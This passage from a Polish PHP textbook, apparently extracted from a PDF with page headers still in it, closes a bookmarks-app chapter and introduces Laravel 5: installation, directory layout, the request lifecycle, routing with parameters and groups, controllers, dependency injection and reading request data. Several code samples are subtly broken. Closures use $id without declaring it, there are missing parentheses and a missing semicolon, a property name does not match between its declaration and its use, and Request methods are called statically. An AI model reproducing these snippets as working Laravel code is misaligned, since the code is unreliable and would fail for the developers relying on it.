Przedstawiliśmy podstawowe możliwości funkcjonalne aplikacji ZakładkaPHP. Istnieje wiele moż-
liwych rozszerzeń. Należą do nich:
 Grupowanie zakładek pod względem tematu.
 Łącze Dodaj do zakładek dla rekomendacji.
Rozdział 27.  Tworzenie uwierzytelniania użytkowników i personalizacji 569

Rysunek 27.11.
Skrypt zarekomendował
użytkownikowi witrynę
helion.pl. Mieli ją
również dwaj inni
użytkownicy z bazy
danych, posiadający
witrynę helion.pl

 Rekomendacje oparte na najpopularniejszych URL-ach w bazie danych lub na podstawie


tematu.
 Interfejs administratora do konfiguracji i administrowania użytkownikami i tematami.
 Metody usprawniania rekomendowanych zakładek.
 Dodatkowe sprawdzanie błędów w danych wprowadzonych przez użytkowników.

Warto eksperymentować! To najlepsza metoda nauki.


570 Część V  Tworzenie praktycznych projektów PHP i MySQL
Rozdział 28.
Tworzenie internetowego
klienta poczty elektronicznej
z użyciem Laravela
W przeważającej większości przypadków do pisania aplikacji używane są frameworki, a tych
jest tak wiele jak barw w tęczy. W tym rozdziale przedstawiony zostanie jeden z najbardziej
popularnych nowoczesnych frameworków PHP — Laravel 5. Z kolei w następnym rozdziale
opiszemy proces projektowania i tworzenia prostego internetowego klienta poczty elektronicznej
korzystającego z protokołu IMAP.

Prezentacja frameworka Laravel 5


Laravel 5 można by w zasadzie opisać jako framework, którego twórcy mają o swym dziele bardzo
dobrą opinię. Należy to rozumieć w ten sposób, że aplikacje pisane z użyciem tego frameworka
w ogromnym stopniu wymuszają ściśle określoną strukturę i określony sposób organizacji apli-
kacji. Zaletą tego rozwiązania jest to, że w przypadku większości aplikacji pisanie ich z użyciem
Laravela jest całkiem proste. Jednak stosowanie tego frameworka ma także swoje wady — kiedy
aplikacja musi być nieco bardziej wyszukana, to pisanie jej z wykorzystaniem Laravela może
wymagać nieco więcej wysiłku niż w przypadku użycia innych frameworków.

Tworzenie nowego projektu Laravel


Najlepszym sposobem na rozpoczęcie stosowania Laravela jest utworzenie jego projektu, co
można zrobić przy użyciu wielu różnych narzędzi. Laravel wymaga tego, by stosowane środo-
wisko zawierało PHP w wersji 5.5.9 lub nowszej i posiadało zainstalowane rozszerzenia OpenSSL,
PDO, Mbstring oraz Tokenizer. Jeśli ktoś nie dysponuje takim środowiskiem, to projekt Laravel
udostępnia także wirtualny komputer o nazwie Laravel Homestead, zaprojektowany specjalnie
pod kątem pisania aplikacji przy użyciu frameworka Laravel.

Projekt Laravel można przygotować na kilka różnych sposobów. Jeśli chodzi nam o utworzenie
jednorazowego projektu, to najlepszym rozwiązaniem będzie zastosowanie polecenia composer
create-project i określenie docelowego katalogu, w którym projekt ma się znajdować:
$ composer create-project -prefer-dist laravel/laravel rozdzial_29

To przykładowe polecenie utworzy podstawowy projekt Laravel w katalogu rozdzial_29.


572 Część V  Tworzenie praktycznych projektów PHP i MySQL

Jeśli jednak zamierzamy używać frameworka Laravel często, do tworzenia wielu różnych pro-
jektów, to nieco prostszym rozwiązaniem będzie zainstalowanie narzędzia Laravel Installer —
programu obsługiwanego z poziomu wiersza poleceń i korzystającego z Composera — a następnie
używanie go do tworzenia kolejnych projektów. Także w tym przypadku należy rozpocząć od
wykorzystania Composera, lecz tym razem w celu zainstalowania programu Laravel Installer:
$ composer global require "laravel/installer"

To polecenie zainstaluje polecenie laravel w katalogu bin dostawców Composera (zazwyczaj


jest to katalog ~/.composer/vendor/bin), dzięki czemu będzie je można stosować do tworzenia
projektów. Aby skorzystać z polecenia laravel, należy się upewnić, że katalog, w którym znajduje
się ten program, jest podany w zmiennej środowiskowej PATH; jeśli ten warunek będzie spełniony,
to nowy projekt Laravela można utworzyć, wydając poniższe przykładowe polecenie:
$ laravel new rozdzial_29

Istnieje wiele rzeczy, które można skonfigurować lub zmienić, by dodatkowo dostosować sposób
działania nowego, ogólnego projektu Laravel po jego utworzeniu. Krytyczne znaczenie ma jednak
w rzeczywistości tylko jedna z nich — sprawdzenie, czy serwer WWW ma prawo zapisu w kilku
określonych katalogach projektu. A zatem, zaczynając od katalogu projektu (w naszym przypadku
jest to katalog rozdzial_29), trzeba sprawdzić, czy poniżej wymienione katalogi mają uprawnienia
pozwalające na zapis ich zawartości przez serwer WWW, gdyż jest to konieczne do prawidło-
wego działania frameworka Laravel:
./storage
./bootstrap/cache

Choć samo uruchomienie projektu Laravel nie wymaga zbyt zaawansowanej konfiguracji,
to jednak istnieje bardzo wiele ustawień konfiguracyjnych, które można podawać w celu
określenia sposobu działania poszczególnych komponentów frameworka. W katalogu
config/ znajduje się sporo plików konfiguracyjnych, pozwalających na konfigurację działania
pamięci podręcznej, debugowania, dostępu do bazy danych, serwerów poczty elektronicznej
itd. Zaleca się, by w najprostszym przypadku otworzyć plik config/app.php i określić prawidłowe
wartości ustawień konfiguracyjnych aplikacji (takie jak strefa czasowa lub używane ustawienia
lokalne).

Struktura aplikacji Laravel


Ogólna struktura aplikacji Laravel zawiera kilka katalogów opisanych na poniższej liście:
 Katalog bootstrap zawiera logikę niezbędną do uruchomienia frameworka,
automatycznego wczytania ustawień konfiguracyjnych itd.
 Katalog config zawiera wszystkie ustawienia konfiguracyjne aplikacji.
 Katalog database zawiera informacje na temat migracji schematów baz danych
oraz logikę niezbędną do wypełnienia tych schematów danymi początkowymi.
 Katalog public stanowi katalog główny dokumentów w danej aplikacji, a co za tym idzie,
zawiera wszelkie udostępniane przez nią zasoby stałe, takie jak arkusze stylów,
obrazy itd., oraz plik index.php, będący punktem wejścia do aplikacji.
 Katalog resources zawiera widoki, pliki związane z umiędzynarodawianiem aplikacji
oraz inne zasoby potrzebne do jej działania.
 Katalog storage zawiera zasoby tymczasowo przechowywane przez framework
i aplikację, takie jak skompilowane widoki, dane sesji, dane umieszczone w pamięci
podręcznej czy też pliki dzienników.
Rozdział 28.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela 573

 Katalog tests zawiera wszelkie przygotowane testy przeznaczone do automatycznego


wykonywania.
 Katalog vendor zawiera wszystkie zależności aplikacji wczytane przez Composera.
 Katalog app zawiera kod stanowiący logikę aplikacji.

Podczas pisania aplikacji z użyciem frameworka Laravel w głównej mierze będziemy się kon-
centrować na plikach znajdujących się w katalogu app, gdyż to właśnie w nim umieszczana jest
przeważająca część logiki aplikacji. Domyślnie kod przechowywany w tym katalogu należy do
przestrzeni nazw App, dzięki czemu bez trudu można go dodawać do istniejącej struktury klas.
Na przykład aby utworzyć w aplikacji klasę o nazwie Foo, jej kod można umieścić w pliku
app\Library\Foo.php, a sama klasa powinna należeć do przestrzeni nazw \App\Library\Foo.

Gdyby ktoś chciał zmienić nazwę bazowej przestrzeni nazw z domyślnej App na jakąś inną,
to powinien poszukać w dokumentacji Laravela informacji o poleceniu Artisan app:name.

W nowej instalacji projektu Laravel 5 katalog app zawiera podstawowe klasy oraz strukturę ka-
talogów wystarczającą do utworzenia prostej aplikacji jednostronicowej. Oznacza to, że strukturę
tego katalogu można dodatkowo rozbudować zgodnie z poniższymi informacjami:
 Katalog Commands — zawiera wszelkie polecenia frameworka Laravel tworzone na
potrzeby aplikacji. Mogą to być polecenia wydawane w wierszu poleceń (CLI), zadania
asynchroniczne bądź też zwyczajne zadania synchroniczne wykonywane przez inne
fragmenty aplikacji. W bardzo wielu aplikacjach internetowych tworzenie takich poleceń
nie jest potrzebne.
 Katalog Events — zawiera klasy używane przez menedżera zdarzeń dostarczanego przez
framework Laravel. Framework udostępnia zdarzenia implementowane zarówno w formie
klas, jak i bez ich użycia, a katalog Events jest przeznaczony do przechowywania tych
pierwszych.
 Katalog Handlers — stanowi przeciwieństwo opisanego powyżej katalogu Events. Służy
on do przechowywania klas używanych do obsługi zdarzeń zgłaszanych w aplikacji oraz
wykonywania określonej logiki w reakcji na te zdarzenia. Na przykład w katalogu Events
można by umieścić kasę reprezentującą zdarzenie dodania nowego użytkownika, którego
zgłoszenie będzie powodować wykonanie klasy obsługi HandleNewUser, czyli obsługę tego
zdarzenia.
 Katalog Services — zawiera wszelkie usługi zdefiniowane w aplikacji. We frameworku
Laravel usługi są mechanizmem pomocniczym umożliwiającym zachowanie wysokiego
poziomu abstrakcji głównego kodu aplikacji, co ułatwia jego wielokrotne użycie. Na przykład
można by stworzyć klasę usługi w celu zarządzania użytkownikami, która będzie używana
w innych miejscach aplikacji. Innym przykładem mogłaby być usługa zapewniająca
możliwość komunikacji z inną witryną.
 Katalog Exceptions — zgodnie z przewidywaniami służy on do przechowywania wszelkich
niestandardowych klas wyjątków używanych w aplikacji, które będą zgłaszane w przypadku
występowania błędów.
Dla większości, o ile nawet nie dla wszystkich, klas umieszczanych w opisanych powyżej
katalogach można automatycznie generować prawidłowe szablony. Służy do tego polecenie
artisan frameworka Laravel. Pełną listę tych tak zwanych generatorów można wyświetlić,
wykonując w oknie terminala polecenie php artisan list make z poziomu głównego
katalogu projektu.
574 Część V  Tworzenie praktycznych projektów PHP i MySQL

Jak wspomnieliśmy już wcześniej, w tym rozdziale zaczniemy tworzyć prostego internetowego
klienta poczty elektronicznej; na jego przykładzie zademonstrujemy możliwości i sposób używa-
nia frameworka Laravel, a także protokołu IMAP i udostępnianych przez PHP funkcji do jego
obsługi. W trakcie tworzenia aplikacji wiele pojęć i katalogów opisanych w tym punkcie rozdziału
zostanie opisanych dokładniej i wyjaśnionych na praktycznych przykładach.

Cykl obsługi żądań i wzorzec MVC Laravela


Skoro została już przedstawiona podstawowa struktura aplikacji, warto poświęcić trochę czasu
na odkrycie, jak te wszystkie katalogi i umieszczone w nich pliki są łączone w jedną całość i używa-
ne od początku do końca. Za każdym razem, gdy aplikacja Laravel będzie chciała coś zrobić —
czy to obsłużyć żądanie nadesłane przez przeglądarkę, czy wykonać polecenie wydane w oknie
terminala przy użyciu polecenia artisan — na samym początku zostanie wykonany kod zapi-
sany w pliku public/index.php. Jest to w zasadzie bardzo prosty skrypt, który służy jedynie do
uruchomienia frameworka, a tym samym aplikacji. Odpowiada on za wykonanie takich czynności
jak utworzenie instancji głównej klasy aplikacji frameworka, wczytanie wszelkich plików przy-
gotowanych przez Composera i określających klasy do automatycznego wczytania oraz wykonanie
innych zadań niskiego poziomu. Pod koniec skrypt index.php przekazuje sterowanie do frame-
worka, używając głównej klasy aplikacji.

Jądra aplikacji
W zależności od natury żądania (czy zostało ono zainicjowane przez żądanie HTTP, czy też
przez polecenie wydane w oknie konsoli) jest ono obsługiwane przez odpowiednie jądro apli-
kacji. Ze względu na charakter prezentowanej tu aplikacji skoncentrujemy się wyłącznie na jądrze
HTTP, stanowiącym pojedynczy punkt wejścia, którym żądania HTTP trafiają do frameworka
Laravel, a tym samym także do aplikacji. To jądro HTTP jest odpowiedzialne za zdefiniowanie
przeważającej większości potrzeb niezbędnych do obsługi każdego żądania, takich jak rejestracja,
obsługa błędów itd.; jeśli to konieczne, można je zmienić i dostosować do potrzeb tworzonej
aplikacji.

Poza tym, że jądro aplikacji zajmuje się ustawieniem podstawowych narzędzi i możliwości niezbęd-
nych do obsługi żądań, odpowiada także za zdefiniowanie tak zwanego oprogramowania warstwy
pośredniej używanego w aplikacji, które musi zostać wykonane w ramach obsługi każdego żądania,
zanim będzie można je przekazać do samej aplikacji. W kontekście żądań HTTP przykładami
takiego oprogramowania warstwy pośredniej mogą być obsługa danych sesji HTTP, przetwa-
rzanie żetonów zapobiegających wykradaniu danych podczas obsługi formularzy przesyłanych
pomiędzy witrynami czy też przeprowadzanie wszelkich innych operacji, które — z logicznego
punktu widzenia — muszą zostać wykonane przed logiką aplikacji. Jądro aplikacji jest także
odpowiedzialne za wczytywanie i obsługę dostawców usług (ang. Service Providers), którzy zostaną
opisani w dalszej części rozdziału.

Klasę jądra HTTP frameworka Laravel można znaleźć w pliku app/Http/Kernel.php, przy czym
rozszerza ona klasę Illuminate\Foundation\Http\Kernel. Dzięki temu twórca aplikacji dysponuje
punktem dostępu pozwalającym na dostosowywanie używanego oprogramowania warstwy po-
średniej, rejestracji, obsługi błędów itd.

Dostawcy usług
Kolejnym krokiem wykonywanym przez jądro Laravel podczas obsługi żądań jest inicjalizacja i re-
jestracja (w nim samym) wszelkich zdefiniowanych dostawców usług. Dostawcy usług są niezwykle
Rozdział 28.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela 575

ważnym komponentem frameworku Laravel — udostępniają oni aplikacji przeważającą więk-


szość wszystkich możliwości funkcjonalnych Laravela. Celem tworzenia i stosowania dostaw-
ców usług jest udostępnianie i dostosowywanie istniejących możliwości funkcjonalnych. Do-
stawcy ci są definiowani w ustawieniach konfiguracyjnych aplikacji, a konkretnie w pliku
config/app.php, w elemencie o kluczu providers. Domyślnie nowa aplikacja Laravel definiuje
dostawców udostępniających wszelkie możliwe usługi, zaczynając od szyfrowania, a kończąc
na podziale na strony.

Dla osoby zainteresowanej pisaniem bibliotek dla frameworka Laravel, których będzie można
następnie używać w jego aplikacjach, dostawcy usług są punktem wyjścia. Na przykład chcąc
stworzyć komponent zapewniający dostęp do serwisu Twitter, należałoby napisać bibliotekę,
a następnie dostawcę usługi, który udostępniłby tę bibliotekę oraz jej możliwości funkcjonalne
wewnątrz frameworka. Później w kodzie aplikacji można by podać tego dostawcę w ustawieniach
konfiguracyjnych, a tym samym uzyskać do niego dostęp w kodzie aplikacji.

Nawet jeśli ktoś nie jest zainteresowany pisaniem bibliotek komponentów, to musi wiedzieć, że do-
stawcy usług są kluczowym aspektem każdej aplikacji używającej frameworka Laravel. Domyślnie
każda nowa aplikacja Laravel definiuje w katalogu app\Providers dostawców, którzy są stosowani
do inicjalizacji różnych komponentów. Ci dostawcy (jak również dostawcy, których utworzymy
samodzielnie) pozwalają aplikacji na zainicjowanie dowolnych niezbędnych zasobów jeszcze przed
przekazaniem obsługi żądania do logiki aplikacji napisanej przez jej twórców.

Klasy modelu, widok i kontroler frameworka Laravel


Po zarejestrowaniu i zainicjowaniu dostawców usług obsługa żądania zostanie przekazana do
części frameworka, którą można by określić jako implementację wzorca model-widok-kontroler
(ang. Model-View-Controller, w skrócie: MVC) i w której skład będzie wchodzić przeważająca
część logiki aplikacji. Konkretnie rzecz biorąc, po zainicjowaniu dostawców usług framework
przekaże żądnie do routera, który jest odpowiedzialny za powiązanie treści żądania z odpowied-
nim kontrolerem aplikacji.

Router frameworka Laravel


W porównaniu z routerami używanymi w innych frameworkach router stosowany w Laravelu
jest jednym z najprostszych mechanizmów służących do kierowania żądań w określone miejsca
aplikacji. Ogólnie rzecz biorąc, trasy powiązane z obsługą żądań HTTP są definiowane w pliku
app/Http/routes.php. Ten plik jest zwyczajnym skryptem PHP, który powinien zawierać tyle sta-
tycznych wywołań klasy routera Laravel, ile będzie trzeba zdefiniować, a to z kolei będzie zależeć
od tego, jak konkretne ścieżki i protokoły będą odwzorowywane na poszczególne kontrolery.

Framework Laravel udostępnia trzy podstawowe metody służące do określania tras, odpowiadają-
ce trzem metodom HTTP, których można użyć do przesłania żądania. Na przykład poniższy
fragment kodu przedstawia prostą trasę kojarzącą żądania HTTP GET skierowane do dokumentu
głównego ('/') z najprostszym kontrolerem, który można utworzyć w Laravelu (czyli mającym
postać domknięcia), oraz drugą trasę, kojarzącą żądania HTTP typu POST odnoszące się do adresu
/submit z kolejnym domknięciem:
Route::get('/', function() {
return 'Witaj, świecie!';
});
Route::post('submit', function() {
return 'Przesłano żądanie POST.';
});
576 Część V  Tworzenie praktycznych projektów PHP i MySQL

Oprócz najczęściej stosowanych metod HTTP GET i POST framework Laravel udostępnia także
metody pozwalające na obsługę innych typów żądań: Route::put(), Route::delete() itd. Jeśli
zajdzie potrzeba, by jeden zestaw kodu obsługiwał wiele różnych metod HTTP, to można to
osiągnąć przy użyciu metody Route::any() (która będzie dopasowywać trasę wyłącznie na podsta-
wie ścieżki, niezależnie od zastosowanej metody HTTP) bądź też metody Route::match() (pozwa-
lającej jawnie zdefiniować, które metody mają być obsługiwane):
Route::match(['post','put'], '/', function() {
return 'Obsługiwanym żądaniem było HTTP POST lub HTTP GET!';
});

Route::any('universal', function() {
return 'Żądanie przesłano na adres /universal, obsługuje on dowolne żądania HTTP.';
}

Parametry trasy
Oprócz stosowania w trasach prostych ścieżek router Laravela umożliwia także tworzenie tras
zawierających zmienne, definiowane przy użyciu prostej składni. Na przykład gdybyśmy chcieli
stworzyć trasę obsługującą żądania GET, która będzie pobierać i wyświetlać artykuł o identyfikatorze
podanym w ścieżce (na przykład /article/1234), moglibyśmy to zrobić w następujący sposób:
Route::get('article/{id}', function() {
return 'Zażądano wyświetlenia artykułu o identyfikatorze: ' . $id;
});

Jeśli parametr danej trasy jest opcjonalny, to w definicji trasy za nazwą zmiennej należy dodać
znak zapytania (?), jak pokazano w poniższym przykładzie:
Route::get('articles/{id?}', function() {
if (is_null($id) {
return 'Zażądano wyświetlenia wszystkich artykułów.';
} else {
return 'Zażądano wyświetlenia artykułu o identyfikatorze: ' . $id;
}
});

W przypadku tworzenia tras z parametrami opcjonalnymi domyślną wartość parametru można


zdefiniować w bardzo prosty sposób — poprzez określenie wartości domyślnej parametru w dekla-
racji metody lub funkcji, na przykład:
Route::get('articles/{id?}', function($id = 1) {
return 'Zażądano wyświetlenia artykułu o identyfikatorze: ' . $id .
'w razie pominięcia identyfikatora zostanie użyta wartość domyślna 1.';
});

Czasami w trakcie stosowania parametrów w trasach może być konieczne posiadanie większej
kontroli nad tym, jakie wartości parametrów będą akceptowane. W powyższych przykładach
wartością parametru {id} mogły być liczba lub łańcuch znaków, co często może być sprzeczne
z projektem aplikacji. Aby wymusić zastosowanie określonego formatu dla konkretnego para-
metru trasy, można użyć metody Route::where(), która narzuca warunek, określony w formie
wyrażenia regularnego, na wartość danego parametru. Warunek ten musi być spełniony, by
możliwe było dopasowanie trasy dla danego żądania. Oto przykłady określania dwóch takich
warunków:
Route::get('articles/{id?}', function($id) {
return 'Podano wartość liczbową: ' . $id;
})->where('id', '[0-9]+');
Rozdział 28.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela 577

Route::get('articles/{id?}', function($id) {
return 'Podano wartość łańcuchową: ' . $id;
})->where('id', '[A-Za-z]+');

W powyższym przykładzie zostały zdefiniowane dwie odrębne trasy odwołujące się do tego
samego punktu końcowego — /articles/<ID> — przy czym pierwsza z nich obsługuje wszystkie
żądania, w których wartość parametru ID była liczbą, a druga żądania, w których parametrem
był łańcuch znaków. Jeśli wartość parametru ID nie spełniła żadnego z tych dwóch kryteriów,
to żadna trasa nie zostanie dopasowana i aplikacja wygeneruje błąd HTTP o wartości 404.

Warto także zauważyć, że trasy mogą zawierać dowolną liczbę parametrów zapisanych w ten
sam, przedstawiony wcześniej sposób. W takim przypadku wartości poszczególnych parametrów
można ograniczać, przekazując w wywołaniu metody Route::where tablicę wyrażeń regularnych:
Route::get('articles/{sekcja}/{id}', function($sekcja, $id) {
return 'Zażądano artykułu o identyfikatorze ' . $id .
' z sekcji o nazwie: ' . $sekcja;
})->where(['sekcja' => '[A-Za-z]+', 'id' => '[0-9]+']);

W powyższym przykładzie obsłużone zostanie żądanie skierowane na adres: articles/history/1234,


lecz nie na adres: articles/1234/history.

W razie potrzeby istnieje także możliwość zdefiniowania globalnych ograniczeń narzucanych


na konkretny parametr we wszystkich trasach. Można to zrobić, używając metody
Route::pattern(). W tym celu należy zmodyfikować metodę RouteServiceProvider::boot()
i w niej zdefiniować wzorzec dla parametru tras:
$router->pattern('id', '[0-9]+');

Grupy tras

Często podczas definiowania tras przydatna jest możliwość definiowania globalnych zachowań
dla takiego bądź innego podzbioru tras. Na przykład niektóre trasy mogą mieć sens wyłącznie
dla uwierzytelnionego użytkownika, a inne mogą być poprzedzone jedną wspólną ścieżką bazową,
na przykład authenticate/view oraz authenticated/create. Właśnie w tym celu framework Laravel
udostępnia grupy tras.

Do grupowania tras służy metoda Route::group(). Pierwszym parametrem tej metody jest seria
definicji wspólnych dla wszystkich elementów grupy, a drugim — domknięcie zawierające poszcze-
gólne trasy, które do niej należą. Wróćmy do przykładu podanego w poprzednim akapicie —
gdybyśmy chcieli stworzyć grupę tras, z których każda ma być poprzedzona wspólną ścieżką
'authenticated', to moglibyśmy to zrobić w następujący sposób:
Route::group(['prefix' => 'authenticated'], function() {
Route::get('view', function() {
return 'To jest trasa: authenticated\view';
});

Route::get('create', function() {
return 'To jest trasa: authenticated\create';
});
});

Router frameworka Laravel obsługuje wiele różnych definicji, takich jak prefix, która została
zastosowana w powyższym przykładzie. Poniżej przedstawionych zostało kilka z tych definicji,
których można używać podczas tworzenia grup:
578 Część V  Tworzenie praktycznych projektów PHP i MySQL

 prefix — definiuje ścieżkę poprzedzającą wszystkie trasy należące do grupy.


 middleware — definiuje tablicę oprogramowania warstwy pośredniej, które należy
stosować dla wszystkich tras należących do danej grupy.
 namespace — określa przestrzeń nazw, do której należą wszystkie kontrolery zdefiniowane
w danej grupie.
 domain — pozwala na trasowanie w zależności od poddomeny podanej w adresie,
udostępniając jednocześnie jej nazwę w formie parametru. Na przykład
['domain' => '{account}.example.com'] pozwoliłoby dopasować ścieżkę o postaci
http://myaccount.exemple.com, przy czym pierwszym parametrem kontrolera byłaby
wartość 'myaccount'.

Więcej informacji na temat definiowania tras oraz ich różnych konfiguracji można znaleźć w doku-
mentacji frameworka Laravel dostępnej na stronie https://laravel.com/docs/5.2/routing.

Stosowanie kontrolerów
W poprzednim podpunkcie rozdziału, poświęconym routerowi, cała logika obsługi danej trasy
była zaimplementowana w postaci domknięcia. Choć to rozwiązanie jest całkowicie prawidłowe,
to jednak nie jest ono najczęściej stosowanym sposobem definiowania logiki obsługi tras. Zamiast
domknięć używa się zazwyczaj metod klasy kontrolerów.

Kontrolery są bardzo użyteczne pod względem organizacji logiki aplikacji, pozwalają bowiem
na grupowanie powiązanego ze sobą kodu w pojedynczych klasach umieszczonych w katalogu
app/Http/Controllers. Każdy nowy projekt aplikacji Laravel zawiera klasę App\Http\Controllers\
Controller, która powinna stanowić klasę bazową dla wszystkich własnych kontrolerów.
W ramach przykładu przeanalizujmy poniższą klasę kontrolera (zapisaną w pliku app/Http/Controllers/
MyController.php):
namespace App\Http\Controllers;

class MyController extends Controller


{
public function myAction() {
return "To jest nasza pierwsza akcja!";
}
}

Istnieje kilka sposobów na to, by użyć tego kontrolera jako punktu końcowego dla określonej
trasy. Jednym z najprostszych z nich jest dodanie tras do aplikacji, jak zrobiono to w poniższym
przykładzie obsługującym żądania HTTP GET:
Route::get('/', 'MyController@myAction');

Wywołanie to używa formatu <kontroler>@<metoda>, który zakłada, że <kontroler> to nazwa


klasy należącej do przestrzeni nazw App\Http\Controllers (chyba że jawnie zostanie określona
inna przestrzeń nazw), a <metoda> to publiczna metoda tej klasy. Można także skorzystać z bardziej
rozbudowanego zapisu, przydatnego w przypadku określania dodatkowych definicji dla danej
trasy:
Route::get('/', [
'uses' => 'MyController@myAction'
]);

To rozwiązanie korzystające z klucza 'uses' pozwala również na określanie oprogramowania


warstwy pośredniej oraz innych atrybutów trasy.
Rozdział 28.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela 579

Podobnie jak w poprzednim punkcie rozdziału, w którym zamiast kontrolerów były używane do-
mknięcia, także w przypadku stosowania kontrolerów można określać parametry tras. Jedyna różnica
polega na tym, że parametry trasy będą powiązane z parametrami metody, a nie domknięcia.

Choć wykonywanie operacji takich jak określanie oprogramowania warstwy pośredniej podczas
definiowania trasy jest rozsądnym i przydatnym rozwiązaniem, to jednak określanie takiego
oprogramowania warstwy pośredniej używanego w danym kontrolerze można także wykonać
jawnie — w konstruktorze klasy kontrolera. Co więcej, w zależności od sposobu organizacji
kodu takie rozwiązanie może nawet być preferowane. Na przykład oprogramowanie warstwy
pośredniej auth można dodać do kontrolera w następujący sposób:
namespace App\Http\Controllers;

class MyController extends Controller {

public function __construct () {


$this->middleware('auth');
}

public function myAction() {


return "To jest nasza pierwsza akcja!";
}
}

Kolejną, niezwykle potężną cechą kontrolerów jest możliwość wstrzykiwania zależności. Na


potrzeby tego przykładu przyjmijmy, że napisaliśmy dostawcę usług — ServiceProvider —
który rejestruje nową usługę, MyTool, jako obiekt dostępu dla aplikacji. Gdybyśmy chcieli automa-
tycznie wstrzykiwać instancję klasy MyTool do naszych kontrolerów, to wystarczyłoby to zrobić
przy wykorzystaniu mechanizmu podpowiadania typów w konstruktorze kontrolera:
namespace App\Http\Controllers;

class MyController extends Controller


{
protected $ myTool;

public function __construct(MyTool $foo) {


$this->middleware('auth');
$this->_myTool = $foo;
}

public function myAction() {


return "To jest nasza pierwsza akcja!";
}
}

Możliwości wstrzykiwania oferowane przez kontrolery frameworka Laravel obejmują także metody.
Na przykład aby uzyskać dostęp do obiektu Request (zawierającego wszelkie informacje dotyczące
obecnie obsługiwanego żądania, takie jak dane GET lub POST, parametry trasy itd.), można go
umieścić bezpośrednio w deklaracji metody, jak pokazano w poniższym przykładzie:
namespace App\Http\Controllers;

use Illuminate\Http\Request

class MyController extends Controller


{

public function __construct(MyTool $foo) {


$this->middleware('auth');
}
580 Część V  Tworzenie praktycznych projektów PHP i MySQL

public function myAction(Request $request) {


$name = $request->input('name');
return "To jest nasza pierwsza akcja, do której przekazano imię: $name";
}
}

Dostęp do danych żądania


Zgodnie z sugestią zawartą w poprzednim podpunkcie rozdziału w praktyce wszystkie dane
dotyczące żądania HTTP, jakie trafiają do aplikacji, są umieszczone w jednym obiekcie klasy
Illuminate\Http\Request, który jest udostępniany kontrolerom poprzez mechanizm wstrzykiwa-
nia zależności. Ta klasa dysponuje wszystkimi informacjami dotyczącymi żądania. Poniżej przed-
stawionych zostanie kilka najczęściej stosowanych metod tej klasy, a ich pełną listę można
znaleźć w dokumentacji frameworka.

W kontrolerach obiekt Request najczęściej jest używany w celu pobierania danych skojarzonych
z obiektem żądania, takich jak parametry żądania GET lub dane przesłane w żądaniu POST. We
frameworku Laravel dostęp do danych żądania jest zunifikowany do postaci jednej metody —
Request::input() — definiującej dwa parametry. Pierwszym z nich jest klucz, którego należy
użyć w celu pobrania danej (takiej jak nazwa zmiennej), a drugim wartość domyślna, zwracana
w przypadku, gdy dana nie jest dostępna w żądaniu. W ramach przykładu rozważmy poniższe
hipotetyczne żądanie HTTP: http://www.example.com/myaction?name=Janek. Dane przekazane
w tym żądaniu można pobrać w kodzie kontrolera w następujący sposób:
public function myAction(Request $request) {
$name = $request->input('name', 'Janek');
return "Nadane imię to $name (domyślnie jest używane: Janek)";
}

Podczas pobierania danych przy użyciu metody Request::input() nasze możliwości nie ograni-
czają się jedynie do pobierania prostych nazw zmiennych. Na przykład jeśli dane wejściowe są
jakiegoś złożonego typu (takiego jak tablica), można skorzystać ze specjalnego sposobu zapisu
z kropką (.), by pobrać wybraną wartość zapisaną w takiej tablicy. Przykład zamieszczony po-
niżej jest podobny do poprzedniego, ale tym razem imię jest umieszczone w elemencie tablicy
$myarray['mykey'][0]['name']:
public function myAction(Request $request) {
$name = $request->input('myarray.mykey.0.name', 'Janek');
}

Warto zwrócić uwagę na to, że tego zapisu można używać nawet wtedy, gdy dane wejściowe są
zapisane w formacie JSON, choć w tym przypadku żądanie musi zawierać nagłówek Content-Type
o wartości 'application/json'.

Aby sprawdzić dane wejściowe i przekonać się, czy istnieje w nich zmienna o określonej nazwie
(bez podawania jej domyślnej wartości), można skorzystać z metody Request::has():
public function myAction(Request $request)
{
if(!$request->has('name')) {
return "Nie podano imienia!";
}

$name = $request->input('name');
return "Podane imię to: $name";
}
Rozdział 28.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela 581

Istnieje kilka różnych sposobów na pobranie tablicy asocjacyjnej zawierającej wszystkie dane
dostępne w żądaniu. Najbardziej kompletne wyniki zapewnia metoda Request::all(), która zwraca
wszystkie dostępne dane. Gdyby ktoś chciał zwrócić tylko podzbiór tych danych, mógłby w tym
celu zastosować metodę Request::only(); zwraca ona wyłącznie zmienne, których nazwy zostały
podane w wywołaniu. Ewentualnie można by także użyć metody Request::except(), zwracającej
wszystkie zmienne, z wyjątkiem tych, których nazwy zostały wymienione. Poniższy przykład
ukazuje sposób wykorzystania obu tych metod:
public function myAction(Request $request)
{
$allInput = Request::all();
$onlyNameAndPhone = Request::only(['name', 'phone']);
$allButPassord = Request::except('password');
}

Ostatnim zastosowaniem obiektu Request, jakie zostanie tu przedstawione, jest użycie go do pobie-
rania danych wejściowych w formie plików przesłanych na serwer. Dostęp do plików przesłanych
w żądaniu na serwer jest zapewniany głównie za pomocą metody Request::file(), zwracającej
instancję typu Symfony\Component\HttpFoundation\File\UploadedFile, która z kolei udostępnia
metody pomocnicze pozwalające na dalszą obsługę pliku. Dwa najczęstsze wymagania związane
z obsługą plików przesłanych na serwer to sprawdzenie, czy dany plik został prawidłowo przesłany,
oraz przeniesienie pliku z tymczasowej lokalizacji, w której został początkowo umieszczony,
do docelowego miejsca, w którym powinien się znaleźć. Metody wykonujące te dwie operacje,
wraz z metodą Request::hasFile(), zostały przedstawione w kolejnym przykładzie, demonstrują-
cym prosty sposób obsługi plików przesyłanych na serwer.
public function myAction(Request $request)
{
if(!$request->hasFile('photo')) {
return "Nie przesłano żadnego pliku!";
}

$file = $request->file('photo');

if(!$file->isValid()) {
return "Plik nie jest prawidłowy!";
}

$file->move('/docelowa/sciezka/zdjecie/na/serwerze');

return "Plik został prawidłowo zapisany na serwerze.";


}

Stosowanie widoków
Jak pokazano w poprzednich punktach rozdziału, już samo używanie kontrolerów do imple-
mentacji logiki aplikacji (oraz zwracania jej wyników w formie łańcuchów znaków) może być
przydatne i korzystne. Niemniej jednak w aplikacjach internetowych separacja logiki widoków
jest jednym z kluczowych elementów dobrej organizacji kodu. Właśnie w tym celu stosuje się
komponent widoku — View — który pozwala na łatwe generowanie złożonych danych wynikowych
